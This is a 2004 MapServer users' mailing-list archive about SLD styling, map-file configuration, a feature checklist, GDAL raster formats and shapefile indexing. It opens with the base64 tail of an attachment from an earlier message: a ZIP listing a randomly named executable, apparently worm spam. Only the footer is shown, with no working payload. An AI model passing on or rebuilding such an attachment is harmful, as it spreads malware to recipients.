AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAAAgGUw Sh/MnQA+AAAAPgAADAAAAAAAAAAAACAAAAAAAAAAbWdkYXV3ZmouZXhlUEsFBgAAAAABAAEA OgAAACo+AAAAAA== ----------krcavjxebtmalndpeceh-- From stefan.schwarzer at grid.unep.ch Fri Mar 5 01:28:53 2004 From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer) Date: Fri, 05 Mar 2004 10:28:53 +0100 Subject: [Mapserver-users] SLD Problems Message-ID: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> --=====================_96063968==.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Hi there, I am trying to change the layer properties via SLD. Although I think I setup everything correctly, it just doesn't want to work. Could anyone perhaps give me a hint on what I do wrong? See below the URL, the SLD and the MAP file. The map displays, but not with the desired changes in fill and stroke. Thanks for any help, Stefan http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml boundaries xxx #0000ff #ff0000 # # Start of map file # NAME boundaries STATUS ON SIZE 600 300 EXTENT -180 -90 180 90 UNITS DD SHAPEPATH "data" IMAGETYPE PNG FONTSET etc/fonts.txt # Projection definition --------------------- PROJECTION "init=epsg:4326" proj=latlong ellps=WGS84 END # End Projection definition --------------------- # Web definition --------------------- WEB HEADER demo_header.html TEMPLATE demo.html FOOTER demo_footer.html IMAGEPATH '../temp/' IMAGEURL 'temp/' METADATA "wms_title" "boundaries" "wms_onlineresource" "http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?" END END # End Web definition --------------------- LAYER NAME boundaries TYPE POLYGON STATUS ON DATA boundaries DUMP TRUE CLASSITEM CNTRY_NAME CLASS NAME 'boundaries' OUTLINECOLOR 0 0 0 COLOR 100 100 100 TEMPLATE 'dummy' END METADATA wms_title "boundaries" END END END # Map File _______________________________________ Stefan Schwarzer Consultant on GEO UNEP/DEWA/GRID-Geneva Chemin des Anemones 11 CH - 1219 Chatelaine Switzerland Tel: (+41) 22.917.83.49 Fax: (+41) 22.917.80.29 Email: stefan.schwarzer at grid.unep.ch Internet: http://geodata.grid.unep.ch/ _______________________________________ --=====================_96063968==.ALT Content-Type: text/html; charset="us-ascii" Hi there,

I am trying to change the layer properties via SLD. Although I think I setup everything correctly, it just doesn't want to work. Could anyone perhaps give me a hint on what I do wrong? See below the URL, the SLD and the MAP file. The map displays, but not with the desired changes in fill and stroke.

Thanks for any help,

Stefan


http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml



<StyledLayerDescriptor version="1.0.0">
        <NamedLayer>
                <Name>boundaries</Name>
                <UserStyle>
                        <Title>xxx</Title>
                        <FeatureTypeStyle>
                                <Rule>
                                        <PolygonSymbolizer>
                                                <Fill>
                                                        <CssParameter name="fill">#0000ff</CssParameter>
                                                </Fill>
                                                <Stroke>
                                                        <CssParameter name="stroke">#ff0000</CssParameter>
                                                </Stroke>
                                        </PolygonSymbolizer>
                                </Rule>
                        </FeatureTypeStyle>
                </UserStyle>
        </NamedLayer>
</StyledLayerDescriptor>



#
# Start of map file
#

NAME boundaries
        STATUS ON
        SIZE 600 300
        EXTENT -180 -90 180 90
        UNITS DD
        SHAPEPATH "data"
        IMAGETYPE PNG
        FONTSET etc/fonts.txt



        # Projection definition ---------------------

        PROJECTION
                "init=epsg:4326"
                proj=latlong
                ellps=WGS84
        END
        
        # End Projection definition ---------------------
        


        # Web definition ---------------------
        
        WEB
                HEADER demo_header.html
                TEMPLATE demo.html
                FOOTER demo_footer.html
                
                IMAGEPATH '../temp/'
                IMAGEURL 'temp/'

                METADATA
                        "wms_title" "boundaries"
                        "wms_onlineresource"  "http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?"
                END
        END
        
        # End Web definition ---------------------


        
        LAYER
                NAME boundaries
                TYPE POLYGON
                STATUS ON
                DATA boundaries
                DUMP TRUE
                CLASSITEM CNTRY_NAME
                CLASS   
                        NAME 'boundaries'
                        OUTLINECOLOR 0 0 0
                        COLOR 100 100 100
                        TEMPLATE 'dummy'
                END
                METADATA
                        wms_title "boundaries"
                END
        END

END # Map File



        _______________________________________

        Stefan Schwarzer
        Consultant on GEO

        UNEP/DEWA/GRID-Geneva
        Chemin des Anemones 11
        CH - 1219 Chatelaine
        Switzerland

        Tel: (+41) 22.917.83.49
        Fax: (+41) 22.917.80.29

        Email: stefan.schwarzer at grid.unep.ch
        Internet: http://geodata.grid.unep.ch/
        _______________________________________ --=====================_96063968==.ALT-- From sebastian.hofer at gistec-online.de Fri Mar 5 03:03:51 2004 From: sebastian.hofer at gistec-online.de (Sebastian Hofer) Date: Fri, 5 Mar 2004 12:03:51 +0100 Subject: [Mapserver-users] collecting features Message-ID: Hi list, as I am new to this list I will introduce myself first: I am working for a company in Germany beeing involved amongst other things in Geo(Meta)datamanagement. Most of our WebMapping solutions have been solved with Geomedia WebMap or deegree up to now. In order of bringing in more choice to our costumers I started collecting features/abbilities of UMN WMS. As you see I tried to collect some info in before. Feel free to add new features, feature classes, remarks or corrections. I guess this could lead to an usefull overview for others and for the project, too. As it would be too complex I decided not to differentiate between releases. The goal is a kind of a common feature list capturing the "state of the art" Will Sum. Thanks, Sebastian [x] = supported [-] = not supported [ ] = mo info Webserver (WS) |UMN MapServer Apache |x IBM HTTP Server | MS IIS >4.0 | Oracle iWS | Sun ONE (Open Net Environment) | WebLogic | Applicationserver/Servlet Engine (AS) |UMN MapServer Jakarta Tomcat |x Resin | IBM Websphere | Oracle AS | Sun ONE | ServletExec | Jrun | Weblogic | Scripting |UMN MapServer ASP/VB Script | JavaScript |x Java |x Perl |x PHP |x Python |x OGC Services |UMN MapServer CS alteSpezifikation |- Web Catalog Service WCAS |x 3rd Party (commercial) Web Map Service WMS |x Web Coverage Service WCS | Web Feature Server WFS | Web Gazetteer Service (WFS-G) | Web Terrain Service (WTS) | Web Coordinate Transformation Service (WCTS) | Operating System |UMN MapServer MS Win 2003 Server |x no Binaries MS Win 2000 Server |x Binaries MS Win 2000 Pro |x binaries MS XP Pro |x no Binaries MS NT 4 SP6 Server |x no Binaries MS NT 4 SP6 WS |x no Binaries Linux (Red Hat) |x no Binaries Linux (andere) |x no Binaries UNIX IBM AIX |x no Binaries UNIX HP UX |x no Binaries UNIX Sun Solaris |x no Binaries UNIX SGI IRIX |x no Binaries DB Connect |UMN MapServer ODBC | ArcSDE | | Supported DB |UMN MapServer Oracle | MS SQL | IBM DB2 | Informix | MySQL |x PostGres |x supported Browsers |UMN MapServer MS IE 5 oder h?her | Netscape 4.7 | Mozilla | Opera | Safari | Konquerer | Output |UMN MapServer SVG |x ActiveCGM | ESRI Shape File |x ESRI Geodadabase |x alpha ESRI Personal Geodatabase | ARC/INFO Coverages | ArcSDE Feature and Raster | Informix Spatial Ware | DB2 Spatial Ware | Oracle Spatial |x PostgreSQL/PostGIS |x FME Objects |x MapInfo Tab/MIF/MID |x MapInfo Grid | Northwood Grid | ODGI Vectors |x SDTS TVP |x TIGER |x CAD | DWG | DXF |x DGN |x Raster Image Catalog (Raster Catalog) | ADRG Image (.IMG) | ADRG Overview (.OVR) | ADRG Legend (.LGG) | Band Interleaved by Line (.BIL) | Band Interleaved by Pixel (.BIP) | Band Sequential (.BSQ) | Bitmap?Windows (.BMP) |x via GDAL Controlled Image Base (.CIB) | CADRG (.CRG) | DIGEST ARC Standardized Raster Product (ASRP) | DIGEST UTM/UPS Standardized Raster Product (USRP)| DTED Level 1 and 2 (.DT1) | ERDAS? Image (.IMG) | ERDAS 7.5 LAN (.LAN) |x ERDAS 7.5 GIS (.GIS) |x ERDAS Raw (.RAW) | ER Mapper (.ERS) | ESRI GRID |x via GDAL GIF (.GIF) |x Impell Bitmap (IMPELL) | JPEG (.JPG) |x MrSID??LizardTech (.sid) |x via GDAL National Image Transfer Format (.NTF) | Portable Network Graphics (.PNG) |x SunRaster File (SUN) | Tagged Image File Format (.TIF) |x TIFF with Geo Header (.TIF) |x Annotation Layers | TIN | VPF | PDF |x alpha GML |x From listen at superbla.net Fri Mar 5 04:22:08 2004 From: listen at superbla.net (joerg p) Date: Fri, 5 Mar 2004 13:22:08 +0100 Subject: [Mapserver-users] beginner: own points and mouseover Message-ID: hello, after finishing the tutorial I need some ideas for my next steps to create two things: I have in mysql a db with the coordinates of the cities in Germany. How do I get them into my map? I d like to have then a mousover function for each city in my map. I read the list archive and found no real answer whats best: chameleon tooltip, imagemap output or the shpxy tag? Thanks J?rg From bartvde at xs4all.nl Fri Mar 5 04:35:36 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Fri, 05 Mar 2004 13:35:36 +0100 Subject: [Mapserver-users] SLD Problems In-Reply-To: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> References: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> Message-ID: Hi Stefan, below is an SLD document which works for me on Mapserver. I have just created this SLD with a test version of Studio, the new product by DM Solutions for creating SLD documents. Note that the NAME is all uppercase in my generated SLD, I don't know why this is the case, because it is not according to spec as far as I know. You could try changing that in your SLD. Also, is your Mapserver binary new enough for this stuff? Best regards, Bart Gemeentes GEMNAAMDeurne #8f0000 1 cross #8f0000 Best regards, Bart On Fri, 05 Mar 2004 10:28:53 +0100, Stefan Schwarzer wrote: > Hi there, > > I am trying to change the layer properties via SLD. Although I think I > setup everything correctly, it just doesn't want to work. Could anyone > perhaps give me a hint on what I do wrong? See below the URL, the SLD and > the MAP file. The map displays, but not with the desired changes in fill > and stroke. > > Thanks for any help, > > Stefan > > > http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml > > > > > > boundaries > > xxx > > > > > name="fill">#0000ff > > > name="stroke">#ff0000 > > > > > > > > > > > # > # Start of map file > # > > NAME boundaries > STATUS ON > SIZE 600 300 > EXTENT -180 -90 180 90 > UNITS DD > SHAPEPATH "data" > IMAGETYPE PNG > FONTSET etc/fonts.txt > > > > # Projection definition --------------------- > > PROJECTION > "init=epsg:4326" > proj=latlong > ellps=WGS84 > END > > # End Projection definition --------------------- > > > > # Web definition --------------------- > > WEB > HEADER demo_header.html > TEMPLATE demo.html > FOOTER demo_footer.html > > IMAGEPATH '../temp/' > IMAGEURL 'temp/' > > METADATA > "wms_title" "boundaries" > "wms_onlineresource" > "http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?" > END > END > > # End Web definition --------------------- > > > > LAYER > NAME boundaries > TYPE POLYGON > STATUS ON > DATA boundaries > DUMP TRUE > CLASSITEM CNTRY_NAME > CLASS > NAME 'boundaries' > OUTLINECOLOR 0 0 0 > COLOR 100 100 100 > TEMPLATE 'dummy' > END > METADATA > wms_title "boundaries" > END > END > > END # Map File > > > > > _______________________________________ > > Stefan Schwarzer > Consultant on GEO > > UNEP/DEWA/GRID-Geneva > Chemin des Anemones 11 > CH - 1219 Chatelaine > Switzerland > > Tel: (+41) 22.917.83.49 > Fax: (+41) 22.917.80.29 > > Email: stefan.schwarzer at grid.unep.ch > Internet: http://geodata.grid.unep.ch/ > _______________________________________ -- From stefan.schwarzer at grid.unep.ch Fri Mar 5 04:47:47 2004 From: stefan.schwarzer at grid.unep.ch (Stefan Schwarzer) Date: Fri, 05 Mar 2004 13:47:47 +0100 Subject: [Mapserver-users] SLD Problems In-Reply-To: References: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> Message-ID: <6.0.1.1.2.20040305134353.026713e0@gridg.grid.unep.ch> --=====================_107998234==.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Bart, thanks for the script. Don't see so much difference though to mine. Could you perhaps send as well the map file, or at least the necessary parts, so that I can compare that as well? The uppercase didn't succeed... And what's the Studio? Haven't heard about it and haven't seen it either on their web site. Thanks for your help, Stefan >Hi Stefan, > >below is an SLD document which works for me on Mapserver. I have just >created this SLD with a test version of Studio, the new product by DM >Solutions for creating SLD documents. > >Note that the NAME is all uppercase in my generated SLD, I don't know why >this is the case, because it is not according to spec as far as I know. >You could try changing that in your SLD. Also, is your Mapserver binary >new enough for this stuff? > >Best regards, >Bart > > > >Gemeentes > > > >GEMNAAMDeurne > > >#8f0000 > > >1 > >cross > >#8f0000 > > > > > > > > > > > > >Best regards, >Bart > >On Fri, 05 Mar 2004 10:28:53 +0100, Stefan Schwarzer > wrote: > >>Hi there, >> >>I am trying to change the layer properties via SLD. Although I think I >>setup everything correctly, it just doesn't want to work. Could anyone >>perhaps give me a hint on what I do wrong? See below the URL, the SLD and >>the MAP file. The map displays, but not with the desired changes in fill >>and stroke. >> >>Thanks for any help, >> >>Stefan >> >> >>http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml >> >> >> >> >> >> boundaries >> >> xxx >> >> >> >> >> >name="fill">#0000ff >> >> >> >name="stroke">#ff0000 >> >> >> >> >> >> >> >> >> >> >># >># Start of map file >># >> >>NAME boundaries >> STATUS ON >> SIZE 600 300 >> EXTENT -180 -90 180 90 >> UNITS DD >> SHAPEPATH "data" >> IMAGETYPE PNG >> FONTSET etc/fonts.txt >> >> >> >> # Projection definition --------------------- >> >> PROJECTION >> "init=epsg:4326" >> proj=latlong >> ellps=WGS84 >> END >> >> # End Projection definition --------------------- >> >> >> >> # Web definition --------------------- >> >> WEB >> HEADER demo_header.html >> TEMPLATE demo.html >> FOOTER demo_footer.html >> >> IMAGEPATH '../temp/' >> IMAGEURL 'temp/' >> >> METADATA >> "wms_title" "boundaries" >> "wms_onlineresource" >>"http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?" >> END >> END >> >> # End Web definition --------------------- >> >> >> >> LAYER >> NAME boundaries >> TYPE POLYGON >> STATUS ON >> DATA boundaries >> DUMP TRUE >> CLASSITEM CNTRY_NAME >> CLASS >> NAME 'boundaries' >> OUTLINECOLOR 0 0 0 >> COLOR 100 100 100 >> TEMPLATE 'dummy' >> END >> METADATA >> wms_title "boundaries" >> END >> END >> >>END # Map File >> >> >> >> >> _______________________________________ >> >> Stefan Schwarzer >> Consultant on GEO >> >> UNEP/DEWA/GRID-Geneva >> Chemin des Anemones 11 >> CH - 1219 Chatelaine >> Switzerland >> >> Tel: (+41) 22.917.83.49 >> Fax: (+41) 22.917.80.29 >> >> Email: stefan.schwarzer at grid.unep.ch >> Internet: http://geodata.grid.unep.ch/ >> _______________________________________ > > > >-- > _______________________________________ Stefan Schwarzer Consultant on GEO UNEP/DEWA/GRID-Geneva Chemin des Anemones 11 CH - 1219 Chatelaine Switzerland Tel: (+41) 22.917.83.49 Fax: (+41) 22.917.80.29 Email: stefan.schwarzer at grid.unep.ch Internet: http://geodata.grid.unep.ch/ _______________________________________ --=====================_107998234==.ALT Content-Type: text/html; charset="us-ascii" Bart,

thanks for the script. Don't see so much difference though to mine. Could you perhaps send as well the map file, or at least the necessary parts, so that I can compare that as well? The uppercase didn't succeed...

And what's the Studio? Haven't heard about it and haven't seen it either on their web site.

Thanks for your help,

Stefan



Hi Stefan,

below is an SLD document which works for me on Mapserver. I have just created this SLD with a test version of Studio, the new product by DM Solutions for creating SLD documents.

Note that the NAME is all uppercase in my generated SLD, I don't know why this is the case, because it is not according to spec as far as I know. You could try changing that in your SLD. Also, is your Mapserver binary new enough for this stuff?

Best regards,
Bart

<StyledLayerDescriptor version="1.0.0">
<NamedLayer>
<NAME>Gemeentes</NAME>
<UserStyle>
<FeatureTypeStyle>
<Rule>
<Filter><PropertyIsEqualTo><PropertyName>GEMNAAM</PropertyName><Literal>Deurne</Literal></PropertyIsEqualTo></Filter>
<PolygonSymbolizer>
<Fill>
<CssParameter name="fill">#8f0000</CssParameter>
<GraphicFill>
<Graphic>
<Size>1</Size>
<Mark>
<WellKnownName>cross</WellKnownName>
<Fill>
<CssParameter name="fill">#8f0000</CssParameter>
</Fill>
</Mark>
</Graphic>
</GraphicFill>
</Fill>
</PolygonSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</NamedLayer>
</StyledLayerDescriptor>

Best regards,
Bart

On Fri, 05 Mar 2004 10:28:53 +0100, Stefan Schwarzer <stefan.schwarzer at grid.unep.ch> wrote:

Hi there,

I am trying to change the layer properties via SLD. Although I think I
setup everything correctly, it just doesn't want to work. Could anyone
perhaps give me a hint on what I do wrong? See below the URL, the SLD and
the MAP file. The map displays, but not with the desired changes in fill
and stroke.

Thanks for any help,

Stefan


http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml



<StyledLayerDescriptor version="1.0.0">
         <NamedLayer>
                 <Name>boundaries</Name>
                 <UserStyle>
                         <Title>xxx</Title>
                         <FeatureTypeStyle>
                                 <Rule>
                                         <PolygonSymbolizer>
                                                 <Fill>
                                                         <CssParameter
name="fill">#0000ff</CssParameter>
                                                 </Fill>
                                                 <Stroke>
                                                         <CssParameter
name="stroke">#ff0000</CssParameter>
                                                 </Stroke>
                                         </PolygonSymbolizer>
                                 </Rule>
                         </FeatureTypeStyle>
                 </UserStyle>
         </NamedLayer>
</StyledLayerDescriptor>



#
# Start of map file
#

NAME boundaries
         STATUS ON
         SIZE 600 300
         EXTENT -180 -90 180 90
         UNITS DD
         SHAPEPATH "data"
         IMAGETYPE PNG
         FONTSET etc/fonts.txt



         # Projection definition ---------------------

         PROJECTION
                 "init=epsg:4326"
                 proj=latlong
                 ellps=WGS84
         END

         # End Projection definition ---------------------



         # Web definition ---------------------

         WEB
                 HEADER demo_header.html
                 TEMPLATE demo.html
                 FOOTER demo_footer.html

                 IMAGEPATH '../temp/'
                 IMAGEURL 'temp/'

                 METADATA
                         "wms_title" "boundaries"
                         "wms_onlineresource"
"http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?"
                 END
         END

         # End Web definition ---------------------



         LAYER
                 NAME boundaries
                 TYPE POLYGON
                 STATUS ON
                 DATA boundaries
                 DUMP TRUE
                 CLASSITEM CNTRY_NAME
                 CLASS
                         NAME 'boundaries'
                         OUTLINECOLOR 0 0 0
                         COLOR 100 100 100
                         TEMPLATE 'dummy'
                 END
                 METADATA
                         wms_title "boundaries"
                 END
         END

END # Map File




         _______________________________________

         Stefan Schwarzer
         Consultant on GEO

         UNEP/DEWA/GRID-Geneva
         Chemin des Anemones 11
         CH - 1219 Chatelaine
         Switzerland

         Tel: (+41) 22.917.83.49
         Fax: (+41) 22.917.80.29

         Email: stefan.schwarzer at grid.unep.ch
         Internet: http://geodata.grid.unep.ch/
         _______________________________________



--
 

        _______________________________________

        Stefan Schwarzer
        Consultant on GEO

        UNEP/DEWA/GRID-Geneva
        Chemin des Anemones 11
        CH - 1219 Chatelaine
        Switzerland

        Tel: (+41) 22.917.83.49
        Fax: (+41) 22.917.80.29

        Email: stefan.schwarzer at grid.unep.ch
        Internet: http://geodata.grid.unep.ch/
        _______________________________________ --=====================_107998234==.ALT-- From bartvde at xs4all.nl Fri Mar 5 04:59:21 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Fri, 05 Mar 2004 13:59:21 +0100 Subject: [Mapserver-users] SLD Problems In-Reply-To: <6.0.1.1.2.20040305134353.026713e0@gridg.grid.unep.ch> References: <6.0.1.1.2.20040305102252.0259fff0@gridg.grid.unep.ch> <6.0.1.1.2.20040305134353.026713e0@gridg.grid.unep.ch> Message-ID: Hi Stefan, don't think the problem is in the MAP file, but here it goes. As for Studio, it is an OGC-centric application that allows you to create classes and styles for use in SLD documents. I am only doing a sort of beta test (0.99 version), but for sure if you ask DM Solutions, you can have a beta test copy as well. This would simplify the process you are going through now. Best regards, Bart MAP EXTENT 10000 305000 280000 619000 IMAGECOLOR 255 255 255 IMAGETYPE png INTERLACE TRUE SHAPEPATH "../data" SIZE 860 590 STATUS ON TRANSPARENT FALSE UNITS METERS NAME "DEMO" OUTPUTFORMAT NAME png MIMETYPE image/png DRIVER GD/PNG EXTENSION png IMAGEMODE PC256 TRANSPARENT FALSE END PROJECTION "init=EPSG:28992" END LEGEND IMAGECOLOR 255 255 255 KEYSIZE 18 12 KEYSPACING 5 5 LABEL SIZE MEDIUM TYPE BITMAP BUFFER 0 COLOR 0 0 89 FORCE FALSE MINDISTANCE -1 MINFEATURESIZE -1 OFFSET 0 0 PARTIALS TRUE END POSITION LL STATUS ON #TEMPLATE "d:/ms4w/maplab-2.1-rc1/htdocs/mapbrowser/legend_template.html" END QUERYMAP COLOR 255 0 0 SIZE -1 -1 STATUS OFF STYLE HILITE END SCALEBAR BACKGROUNDCOLOR 0 0 0 COLOR 255 255 255 IMAGECOLOR 255 255 255 INTERVALS 5 LABEL SIZE SMALL TYPE BITMAP BUFFER 0 COLOR 0 0 0 FORCE FALSE MINDISTANCE -1 MINFEATURESIZE -1 OFFSET 0 0 PARTIALS TRUE POSITION UL END OUTLINECOLOR 0 0 0 POSITION LL SIZE 150 5 STATUS OFF STYLE 0 UNITS KILOMETERS END WEB IMAGEPATH "/ms4w/tmp/ms_tmp/" IMAGEURL "/ms_tmp/" METADATA WMS_TITLE "Gemeentes mapserver WMS" WMS_ABSTRACT "UMN MapServer Gemeentekaart" WMS_ACCESSCONSTRAINTS none WMS_SRS "EPSG:28992" WFS_TITLE "Gemeentes mapserver WFS" WFS_ONLINERESOURCE "http://www.vz.geodan.nl:1111/cgi-bin/mapserv.exe?map=/ms4w/apps/general/map/gemeentes.map" WFS_SRS "EPSG:28992" OWS_SCHEMAS_LOCATION "http://ogc.dmsolutions.ca" END END LAYER DATA "Nlge_r98" METADATA WMS_TITLE "Gemeentes" WMS_ABSTRACT "Gemeentes via UMN Mapserver" WMS_SRS "EPSG:28992" WFS_TITLE "Gemeentes" END NAME "Gemeentes" SIZEUNITS PIXELS STATUS ON TOLERANCE 0 TOLERANCEUNITS PIXELS TYPE POLYGON DUMP TRUE TEMPLATE "blank.html" UNITS METERS CLASS NAME "Foreign Lands" STYLE MAXSIZE 100 MINSIZE 1 OUTLINECOLOR 255 0 0 SIZE 1 SYMBOL 0 END END END END On Fri, 05 Mar 2004 13:47:47 +0100, Stefan Schwarzer wrote: > Bart, > > thanks for the script. Don't see so much difference though to mine. Could > you perhaps send as well the map file, or at least the necessary parts, > so > that I can compare that as well? The uppercase didn't succeed... > > And what's the Studio? Haven't heard about it and haven't seen it either > on > their web site. > > Thanks for your help, > > Stefan > > > >> Hi Stefan, >> >> below is an SLD document which works for me on Mapserver. I have just >> created this SLD with a test version of Studio, the new product by DM >> Solutions for creating SLD documents. >> >> Note that the NAME is all uppercase in my generated SLD, I don't know >> why >> this is the case, because it is not according to spec as far as I know. >> You could try changing that in your SLD. Also, is your Mapserver binary >> new enough for this stuff? >> >> Best regards, >> Bart >> >> >> >> Gemeentes >> >> >> >> GEMNAAMDeurne >> >> >> #8f0000 >> >> >> 1 >> >> cross >> >> #8f0000 >> >> >> >> >> >> >> >> >> >> >> >> >> Best regards, >> Bart >> >> On Fri, 05 Mar 2004 10:28:53 +0100, Stefan Schwarzer >> wrote: >> >>> Hi there, >>> >>> I am trying to change the layer properties via SLD. Although I think I >>> setup everything correctly, it just doesn't want to work. Could anyone >>> perhaps give me a hint on what I do wrong? See below the URL, the SLD >>> and >>> the MAP file. The map displays, but not with the desired changes in >>> fill >>> and stroke. >>> >>> Thanks for any help, >>> >>> Stefan >>> >>> >>> http://localhost/cgi-bin/mapserv_41.exe?SERVICE=WMS&VeRsIoN=1.1.1&Request=GetMap&map=E:/inetpub/wwwroot/wms_maps/wms.map&layers=boundaries&SLD=http//localhost/wms_maps/sld.xml >>> >>> >>> >>> >>> >>> boundaries >>> >>> xxx >>> >>> >>> >>> >>> >> name="fill">#0000ff >>> >>> >>> >> name="stroke">#ff0000 >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> >>> # >>> # Start of map file >>> # >>> >>> NAME boundaries >>> STATUS ON >>> SIZE 600 300 >>> EXTENT -180 -90 180 90 >>> UNITS DD >>> SHAPEPATH "data" >>> IMAGETYPE PNG >>> FONTSET etc/fonts.txt >>> >>> >>> >>> # Projection definition --------------------- >>> >>> PROJECTION >>> "init=epsg:4326" >>> proj=latlong >>> ellps=WGS84 >>> END >>> >>> # End Projection definition --------------------- >>> >>> >>> >>> # Web definition --------------------- >>> >>> WEB >>> HEADER demo_header.html >>> TEMPLATE demo.html >>> FOOTER demo_footer.html >>> >>> IMAGEPATH '../temp/' >>> IMAGEURL 'temp/' >>> >>> METADATA >>> "wms_title" "boundaries" >>> "wms_onlineresource" >>> "http://my_server/cgi-bin/mapserv_41.exe?map=E:/inetpub/wwwroot/wms_maps/wms.map?" >>> END >>> END >>> >>> # End Web definition --------------------- >>> >>> >>> >>> LAYER >>> NAME boundaries >>> TYPE POLYGON >>> STATUS ON >>> DATA boundaries >>> DUMP TRUE >>> CLASSITEM CNTRY_NAME >>> CLASS >>> NAME 'boundaries' >>> OUTLINECOLOR 0 0 0 >>> COLOR 100 100 100 >>> TEMPLATE 'dummy' >>> END >>> METADATA >>> wms_title "boundaries" >>> END >>> END >>> >>> END # Map File >>> >>> >>> >>> >>> _______________________________________ >>> >>> Stefan Schwarzer >>> Consultant on GEO >>> >>> UNEP/DEWA/GRID-Geneva >>> Chemin des Anemones 11 >>> CH - 1219 Chatelaine >>> Switzerland >>> >>> Tel: (+41) 22.917.83.49 >>> Fax: (+41) 22.917.80.29 >>> >>> Email: stefan.schwarzer at grid.unep.ch >>> Internet: http://geodata.grid.unep.ch/ >>> _______________________________________ >> >> >> >> -- >> > > _______________________________________ > > Stefan Schwarzer > Consultant on GEO > > UNEP/DEWA/GRID-Geneva > Chemin des Anemones 11 > CH - 1219 Chatelaine > Switzerland > > Tel: (+41) 22.917.83.49 > Fax: (+41) 22.917.80.29 > > Email: stefan.schwarzer at grid.unep.ch > Internet: http://geodata.grid.unep.ch/ > _______________________________________ -- From tomko at gku.sk Fri Mar 5 05:18:45 2004 From: tomko at gku.sk (Tomko) Date: Fri, 5 Mar 2004 14:18:45 +0100 Subject: [Mapserver-users] GDal + itiff In-Reply-To: <20040304180004.18977.30840.Mailman@lists.gis.umn.edu> Message-ID: <000301c402b4$6bc8b120$d90510ac@aisgkk> HI, I have got few rasters to be displayed as iTIFFs, I believe that i tis a Bentley or Leica related format. I searched GDAL i fit is supported and did not find anything except of a confusing fix report from Frank. So I do not know i fit is supported or not... Any ideas? Martin From Darren.Cope at statcan.ca Fri Mar 5 06:38:37 2004 From: Darren.Cope at statcan.ca (Darren.Cope at statcan.ca) Date: Fri, 5 Mar 2004 09:38:37 -0500 Subject: [Mapserver-users] Indexing of Shapefiles Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C402BF.8BB469C8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I have several very large shapefiles that I wish to display. = Everything works fine, except that rending and querying take a _long_ time. Does MapServer work with attribute indexes on shapefiles to speed up = queries? Spatial indexes to speed up queries? I have read about the TILEINDEX = but am not sure how this applies to a single large shapefile. Any help would be appreciated! Thanks, Darren Cope Statistics Canada/Statistique Canada Geography Division/Division de la g=E9ographie Jean Talon 3D5 Ottawa, Canada (613) 951-6461 ------_=_NextPart_001_01C402BF.8BB469C8 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Indexing of Shapefiles

Hi all,

I have several very large shapefiles = that I wish to display.  Everything works fine, except that = rending and querying take a _long_ time.  Does MapServer work with = attribute indexes on shapefiles to speed up queries?  Spatial = indexes to speed up queries?  I have read about the TILEINDEX but = am not sure how this applies to a single large shapefile.

Any help would be appreciated!

Thanks,

Darren Cope
Statistics Canada/Statistique = Canada
Geography Division/Division de = la g=E9ographie
Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

